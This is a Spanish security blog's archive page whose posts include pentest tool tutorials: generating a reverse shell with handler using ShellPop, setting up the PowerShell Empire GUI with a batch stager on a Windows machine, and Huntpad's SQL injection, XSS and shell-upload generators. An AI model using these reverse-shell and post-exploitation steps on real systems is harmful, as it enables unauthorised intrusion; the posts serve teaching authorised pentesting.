30 jun 2018

El verano ha llegado para quedarse unos meses: Refréscate

El verano está aquí ya. Parecía que no llegaba, pero de repente llegó y lo hace para quedarse unos meses con nosotros. El cansancio se acumula en nuestras piernas como si fuéramos ciclistas que suben un puerto de montaña. Hoy quería simplemente escribir. Escribir del año de ciberseguridad que se nos pasa, de vivencias o de cualquier otra cosa que se me pasara por la cabeza. Ayer tuvimos How to Hack y estamos cerca de cerrar parte del trabajo para poder descansar en agosto. 

Un descanso que se extraña, que se necesita para afrontar lo que viene después: de septiembre a diciembre puede ser movido, pero antes hay que cerrar julio que tendremos también cierto movimiento. Algún evento pendiente, cierre de universidades, cierre de compromisos, cierre de proyectos, incluso, cierre de ideas locas.

Lo primero a la vuelta es disfrutar, seguramente, de la Tomatina CON. Aprovechando los últimos días de vacaciones. Raúl y compañía hacen un gran esfuerzo con este evento y llegan a la cuarta edición. Disfruté de la primera y segunda y espero volver a estar en la cuarta edición. 

Con muchas ganas se afrontará el comienzo de septiembre con la DragonJAR CON, dónde por primera vez podré estar. Sin duda, un honor poder estar allá. La charla es una evolución del trabajo de UAC Bypass & Research de dónde salió la herramienta UAC-A-Mola y dónde también se hablará de un cliente ligero denominado UAC-A-Mola TC basado en Powershell. Esto será el 8 y 9 de septiembre. 

Después de esto confirmado hay muchas cosas en el aire. Grandes eventos nacionales como Rooted CON Valencia, Navaja Negra, Cybercamp, CCN-Cert, HoneyCON incluso eventos internacionales como 8dot8, dónde he presentado anteriormente trabajos, y otros que iremos comentando si todo sale bien. Pero, no hay que correr antes de caminar, lo primero es disfrutar del cierre de verano, del verano y después que venga lo que tenga que venir. 

Este post lo quería escribir también para colgar algunos videos. Utilizo Youtube como un almacén dónde poder recordar experiencias cuando me haga mayor (sigo siendo un chaval). Recuerdo un alumno que me comentó que su hija decía que como un chico tan joven podía dar clase en la Universidad. Y es cierto, soy joven. Pero los 31 van pasando y uno tiene que almacenar sus recuerdos en distintas formas. Una los badge, otro los videos de charlas, de ejemplos, de hacking. Os dejo algunos videos de los últimos meses.

Por último, quiero agradecer a Tomás Isasia, a IDG España, a Marlon Molina y a la UDIMA el reconocimiento que hicieron a los que ellos consideraron influencers en Ciberseguridad. Fue algo que no me esperaba y que siempre saca una sonrisa en determinados momentos. Gracias. También dejo por aquí otro artículo sobre influencers en el que tuve la suerte de estar del año pasado que hizo Adecco.



















[ENG Versión]

26 jun 2018

ShellPop: Shells para hacer pop y...

El mundo de las shells inversas o de tipo bind es un amplio mundo. En todo pentestinges necesario utilizar, casi de manera constante, diferentes tipos de shells, ya que no solo del Meterpreter de Metasploit vive el pentester. Es importante disponer en la mochila del pentester de una herramienta que permita obtener y generar una shell en un momento determindo. Sin duda, una de las herramientas importantes en este ámbito es msfvenomde Metasploit o, incluso, desde el propio msfconsole.

Hoy quería hablaros de una herramienta que también proporciona otro punto de vista y otra forma de lograr generar shellsen un momento determinado, bajo las circunstancias que tengamos. La herramienta se llama ShellPop y se puede obtener en su repositorio de Github

Para llevar a cabo la instalación de ShellPopse debe descargar desde Github, por ejemplo, con la ejecución del comando git clone. Después, se deben instalar las dependencias de Python, ya que la herramienta está escrita en Python. En primer lugar, se ejecuta la siguiente instrucción apt-get install python-argcomplete –y. Posteriormente, se instalan las dependencias que vienen especificadas en el fichero requirements.txt. Esta operativa se realiza de la siguiente manera:pip install –r requierements.txt


Una vez tenemos todo preparado y con las dependencias resueltas, debemos instalar la aplicación. Para ello, se utiliza la instrucción python setup.py install. De esta manera dispondremos del comando desde la consola en cualquier instante. 

La ayuda que proporciona la herramienta es buena. Si ejecutamos shellpop –hobtenemos un listado de todo lo que podemos hacer con la herramienta. Vemos que la herramienta tiene una serie de opciones con las que podemos ‘settearel hosty el puerto dónde la shellrealizará acción, dependiendo de su naturaleza: reversebind

Además, podemos ver en la ayuda una categoría de tipos de shell, de opciones de encoderse, incluso, opciones de stager, lo cual hace que sea flexible la configuración de las shell. Además, la herramienta proporciona una categoría propia para generar shellspara Powershell. 


Para obtener el listado de shellsdisponibles y el tipo de conexión de éstas, podemos ejecutar shellpop –list. Como se puede ver en la siguiente imagen tenemos shellsde tipo bindy de tipo reverse. El ID que aparece al lado de lashelles importante, ya que después lo tendremos que indicar si queremos utilizar dicha shell


Lo interesante es ver el número de lenguajes distintos en los que disponemos una shell. Lenguajes como Perl, Python, RubyPHPproporcionan una base fuerte e interesante, debido a que podemos ejecutar una shellen diferentes plataformas, indiferentemente del sistema y jugando con más con la tecnología y con el lenguaje. 

Una opción interesante que proporciona la herramienta es la opción –clip, el cua permite generar la shelly copiarla al portapapeles. Es una opción interesante cuando se quiere llevar el resultado de la ejecución de la herramienta a una herramienta o script propio. 

Para mostrar un ejemplo, en mi querido Ruby, ejecutamos la siguiente instrucción shellpop –reverse –number 4 –host [dirección] –port 4444 –handler. Con la opción –reverseindicamos que lashellserá inversa y no de tipo bind. La opción –numbernos permite indicar, según el índice del listado, la shellque queremos generar. La opción –hostnos permite indicar la dirección dónde la shellse atará, en caso de ser de tipo bindo dónde la shellrealizará la petición de conexión en caso de ser inversa. Respecto a la opción –portindicamos el puerto sobre el que trabajará la shell. Por último, la opción –handlerconfigura el handlerpara recibir las conexiones o generarlas, de nuevo en función de si es reversebind


El handler arranca y llega la primera conexión, cuando en el target remoto se ejecuta el código. A partir de ahí, disponemos de la posibilidad de interactuar con la shell y lanzar instrucciones en el host remoto. 


Como se puede ver, las posibilidades que ofrece ShellPopson bastante amplias. Me recuerda a una herramienta de la que ya hablamos aquí llamada ZeroDoor de OWASP, con la que se podía crear diferentes shellcodes para diferentes plataformas. Otra herramienta que hay que tener en la mochila del pentester

15 jun 2018

Primera edición del Máster en Ciberseguridad y Seguridad de la Información en la UCLM (Antiguo Especialista en Seguridad de la Información e Informática)

La Universidad de Castilla-La Mancha oferta la primera edición del Título Máster en Ciberseguridad y Seguridad de la Información, en su modalidad Online. Tras haber realizado tres ediciones del Curso Especialista en Seguridad de la Información e Informática, se ha decidido dar el salto al máster. El temario ha sido incrementado hasta los 60 créditos, contando con un TFM. El salto es un reto para el que se está preparado. El éxito de la titulación radica en la experiencia de los profesores, cercanía y profesionalidad.

Esto se ve reflejado en el contenido del título. El título propio se llevará a cabo de forma online a través de un gestor como Moodle, dónde los alumnos contarán con herramientas como Foros y apuntes para realizar el aprendizaje. Además se llevarán a cabo sesiones online de 2 horas dónde los profesores impartirán sus clases con un enfoque eminentemente práctico. La herramienta utilizada para las sesiones será Webex. El objetivo del título propio es formar a profesionales en el ámbito de la seguridad informática. Las clases son grabadas y pueden ser visualizadas posteriormente.


Los profesores con los que contará el título propio son los que se enumeran a continuación. Cómo podéis ver hay gran calidad entre los profesores, y cada uno especializado en la asignatura que impartirán.

Pablo González (@pablogonzalezpe)
Jordi Serra (@jserrai)
Rafa Sánchez (@r_a_ff_a_e_ll_o)
Carmen Torrano Giménez
David Meléndez Cano
Félix Brezo
Yaiza Rubio
Miguel Ángel Arroyo
Eduardo Sánchez (@edusatoe)
Daniel González
Miriam García
Eduardo Arriols Nuñez
Juan Francisco Bolívar
Raúl Fuentes Ferrer
Valentín Martín Manzanero
Pilar Villa
Daniel Echeverry
José Luis Martínez
Marcos Hernández
Rafa Otal
Miguel Cotanilla
José Antonio Ballesteros
Pablo San Emeterio
Adolfo Hernández
Juan Antonio Calles
Álvaro Nuñez
Fran Ramírez

Puedes ver el listado completo de profesores aquí: http://mcsi.uclm.es/profesores.html

Los alumnos matriculados en el título propio recibirán 5 libros de la editorial 0xWord como material complementario al que los profesores puedan darles.
Por último, informarte que con tu título propio puedes optar a una certificación CCNA Security de Cisco, consúltalo! (Te sorprenderán las posibilidades que ofrece el título). Además, puedes preguntar por las posibilidades del CEH (Sorpréndete!) Para más información se puede acceder AL SITIO WEB o contactar con joseluis.martinez@uclm.es

13 jun 2018

HowToHack: Segundo how to hack el 29 de Junio ¡No faltes!

El próximo 29 de junio, viernes, tendrá lugar el segundo how to hack. Este evento propone juntar en un bar de la ciudad de Madrid a gente interesada en pasar un buen rato acompañado de algo de comer, refrescos, cerveza y unas charlas sobre ciberseguridad. En esta segunda edición el bar elegido es "+ Ke Copas", ubicado cerca de Gran Vía, en la Calle Infantas 13. El horario de entrada son las 16.00 (recomendado pillar sitio a las 15.50 tomando algo) y tendrá una duración de dos horas o dos horas y media. El evento es totalmente gratuito y habrá sorpresas para los asistentes. 

La parada de metro más cercana es la de Gran Vía como se puede ver en la imagen. Por lo que nos han comentado existe la posibilidad de utilizar parking de pago cerca del bar, por si alguno se atreve con el coche. En esta edición Matías de la empresa The Security Sentinel hará de presentador, mientras que tendremos los siguientes ponentes:
  • Pablo González (@pablogonzalezpe)
  • Daniel González y Helena Jalain (ZeroLynx)
  • Matías (The Security Sentinel)


En el evento se darán algunas sorpresas, ya que hay patrocinador y este es la empresa The Security Sentinel. Os esperamos el próximo viernes 29 a las 16.00 para pasar un gran rato de networking y conocimiento. 

4 jun 2018

Huntpad: El notepad para los cazadores de bugs

Hace un tiempo que me topé con una herramienta distinta. Estamos acostumbrados a hablar de herramientas que hacemos nosotros con un objetivo concreto, o que utilizamos de forma frecuente para llevar a cabo algún tipo de tarea relacionada con la ciberseguridad. En el día de hoy quería hablaros de una herramienta llamada Huntpad, la cual tiene un eslogan curioso: es el notepad para los cazadores de bugs

Puede parecer curioso que en un blog como éste dónde dedicamos artículos a la ciberseguridad y a la tecnología en general hablemos de un bloc de notas, pero como veréis no es un blog de notas normal. Syhunt Huntpades un bloc de notas que tiene ciertas características peculiares y muy utilizables en un pentest o en un Ethical Hacking. ¿Y esto por qué? Porque nos proporciona una serie de funcionalidades que trataremos en este artículo como, por ejemplo, la generación de cadenas para inyectar más comunes, la generación de hashes de ciertas palabras, la manipulación de texto y HTML, codificación o la posibilidad de generar entradas para fuzzearen la detección de un overflow en una aplicación.

Realmente ha sido gratificante ver esta aplicación, por ello voy a mostrar algunas de las muchas posibilidades que ofrece este bloc de notas convertido en una pequeña navaja suiza para el Ethical Hacking. Hay que decir que la herramienta se encuentra disponible para sistemas Windows y se puede obtener desde su sitio web


A continuación, se muestran alguna de las características que hacen de Huntpaduna herramienta interesante:

·     Ayuda con la sintaxis. La aplicación nos resalta la sintaxis de diferentes lenguajes, lo cual nos ayuda a poder leer mejor el código. Los lenguajes soportados son: HTML, Javascript, CSS, XML, PHP, Ruby, SQL, Pascal, Perl, Python VBScript
·      Funciones de inyecciones SQL como, por ejemplo:
o  Evasión de filtros.
o  Declaraciones UNION.
o  Inserción rápida de inyecciones comunes que cubren DB2, Informix, Ingres, MySQL, MSSQL, Oracle y PostgreSQL.
·     Funciones de file inclusion:
o  Generador de código Quick Shell Upload.
o  PHP String Escape (chr).
·      Funciones XSS (Cross-Site Scripting):
o  Evasión de filtros. JavaScript String Escape, CSS Escape
o  Declaraciones de alertpara pruebas de vulnerabilidades XSS.
·     Generadores de hashing
o  MD5, SHA-1, SHA-2, SHA 512, RIPEMD, WHIRLPOOL, etcetera. 


·      Codificación y decodificación:
o  Se aplica en format URL
o  Se aplica en formato hexadecimal. 
o  Se aplica en base64, codifica y decodifica. 
o  Conversión CharCode.
o  Ofuscación de IP.
o  Codificación JavaScript.
o  HTML Escape.


En lo que a codificación y preparación para un entorno web, por ejemplo, en un hacking web, se dispone de un gran abanico de posibilidades y opciones, tal y como puede verse en las imágenes. 


En la siguiente imagen se puede ver cómo nos genera el código necesario en una inyección y el código para diferentes tipos de herramientas como wgetcurl


Para finalizar el repaso a Huntpadhay una opción para los buffer overflow. Nos permite generar una entrada con el tamaño que nos interese. Debemos indicar la longitud de la entrada y el patrón que queremos repetir. Esto es similar a la herramienta pattern_createde Metasploit. Solo hay que decir que el icono en el Huntpades una bomba, por lo que todo está dicho. 

Por defecto, se nos proporciona la posibilidad de crear un número X de letras A. Es decir, podemos crear una entrada de 128, 256, 512, 1024 o 2048 A’s. También podemos elegir el tamaño que a nosotros nos interese, incluso, el patrón que nos interese. Para este ejemplo, vamos a crear un patrón que se repita y que sea “1234” con una longitud de 2500. En el icono de la bomba pinchamos la opción “[N] x [N]”. 


Una curiosa herramienta que puede ayudarnos en un Pentest o Ethical Hacking, ya que es un bloc de notas a modo de navaja suiza para disponer de esas pequeñas herramientas todas en una. Sin duda, una herramienta interesante que debemos llevar en la mochila del pentester.

1 jun 2018

Powershell Empire GUI: Una interfaz al más puro estilo Armitage

Que Powershell Empire es una realidad dentro de las herramientas de seguridad es algo indudable, y lo vimos en el año 2016 cuando empezamos a hablar de ella. El potencial y la flexibilidad de la herramienta ha llegado a un alto grado, tal y como se ha podido ver en otros artículos como en el que trabajábamos con Pass the hash, Mimikatz y el Empire. El día de hoy vamos a hablar sobre la GUI, o una de ellas, que ofrece Powershell Empire, cuáles son sus requisitos, qué nos ofrece y cómo podemos montarla. 

Hay que decir que el proyecto se denomina EmpireProject, pero en el fondo para nosotros todo sigue siendo Powershell Empire. Desde el Github de EmpireProjectpodemos acceder a la nueva GUI que nos proporcionan. ¿Qué característica trae este nuevo proyecto de GUI para Empire? El soporte multiplataforma es fundamental, ya que podemos montarlo en Windows, Lunux o Mac. El tráfico circulará a través de una conexión HTTPS, se dispone de autenticación para los usuarios y es un entorno multiusuario. 

El entorno que vamos a montar consta de dos partes: la primera es la parte en la que montamos el Empireen su última versión, la cual se puede obtener desde su Github. La segunda parte es la GUI que se ejecutará en NodeJS

En la siguiente imagen, se puede ver cómo tras realizar el git clone [empire]y la ejecución del script install.sh, se puede ejecutar Empirey darle un uso normal, como hemos ido viendo otros artículos. Pero ahora Empiredispone de una característica importante y es la posibilidad de levantar un servidor en un puerto y mediante el uso de una passwordpoder acceder a las posibilidades de Empirevía GUI. Los pasos son los siguientes:

1.    Instalación de NodeJSy NPM. 
2.    Descargar la rama 3.0-Betade Empire. Esto se puede lograr haciendo git checkout 3.0-Betadentro de la carpeta de Empire.
3.    Arrancar el Empire Server.
4.    La posibilidad de configurar listenerso generar stagersno está soportado aún por la GUI, pero sí veremos las máquinas con los agentes y la posibilidad de ver la información. 
5.    Ejecutar el servidor, para ello ejecutamos: ./empire –server –shared_password [password] –port [port]
6.    Para arrancar la GUI, debemos ejecutar en el directorio de Empire-GUIla siguiente instrucción: npm instally, posteriormente, npm start
7.    Una vez hecho esto, hacemos el loginen Empire


Una vez tenemos el Empireen modoServerpasamos a la ejecución de npm, primero con instally, posteriormente, con start. En la siguiente imagen podemos ver lo comentado. Es muy probable que obtengamos algunos Warningen este proceso, pero para la prueba será válido. 


Una vez finaliza el proceso anterior, y hemos ejecutado npm start, obtendremos una nueva ventana dónde aparece el mensaje de “Login to the Empire”. En esta pantalla se pide una serie de datos. Si todo ha ido bien, nos vale con introducir la dirección IP de la máquina dónde se ejecuta Empire-GUI, el puerto y la contraseña que indicamos en el arranque de Empire Server. El user aliaspuede ser cualquier cosa, en este caso se utilizó el nombre “pablo”


Una vez accedemos al panel interno nos encontramos con una serie de iconos a la izquierda. El primero de iconos representa las máquinas o agentes desplegados de Empire. En el panel central veríamos las máquinas con su sistema operativo pintado, muy parecido a Armitage. En la parte inferior vemos una pequeña zona de salida de texto, que es dónde iremos viendo el logy la ejecución de los agentes en las máquinas remotas. 

El segundo icono representa los listeners. Poco a poco iremos viendo avances en esta GUI, ya que de momento es un proyecto que está comenzando y apenas tiene un mes. Fue creado el pasado 24 de abril del presente año. 


Para probar un poco el entorno decidí generar un stager, mediante el uso de usestageren Empire. El stagerelegido fue un windows/launcher_bat, todo un clásico. Al generar el fichero batlo llevé a una máquina Windows 7y lo ejecuté tomando el control de la máquina. También hay que indicar que cree un listenerde tipo http, para que el agente pudiera comunicarse con él. 

Como se puede ver en la siguiente imagen, vemos una máquina que tiene en ejecución de dos agentes, ya que mi stagerfue ejecutado un par de veces. Esta aproximación a Armitageacerca de manera sencilla la post-explotacióna una forma más gráfica. 


Cuando queremos interactuar o visualizar información de uno de los agentes, podemos ir hacia el panel de la izquierda, dónde se puede ver el nombre del agente ejecutado en la máquina y se puede acceder a funcionalidad. En este caso, como se puede ver, tenemos una nueva shellsobre la que obtener información. 


Cuando pulsamos sobre la shell, se nos abre una nueva pestaña en el panel inferior y podemos ver la información del agente ejecutándose en la máquina remota. 


Como se puede ver, la GUI de Empirenos permite ver de forma gráfica la fase de post-explotación, aunque si me dais a elegir, me quedo con el uso y gozo de la línea de comandos y la flexibilidad que ésta nos ofrece. Empirees un proyecto que ha crecido y que sigue haciéndolo gracias al empuje de sus creadores y de la comunidad que tiene detrás. Una herramienta que, sin duda, debéis tener en la mochila del pentester.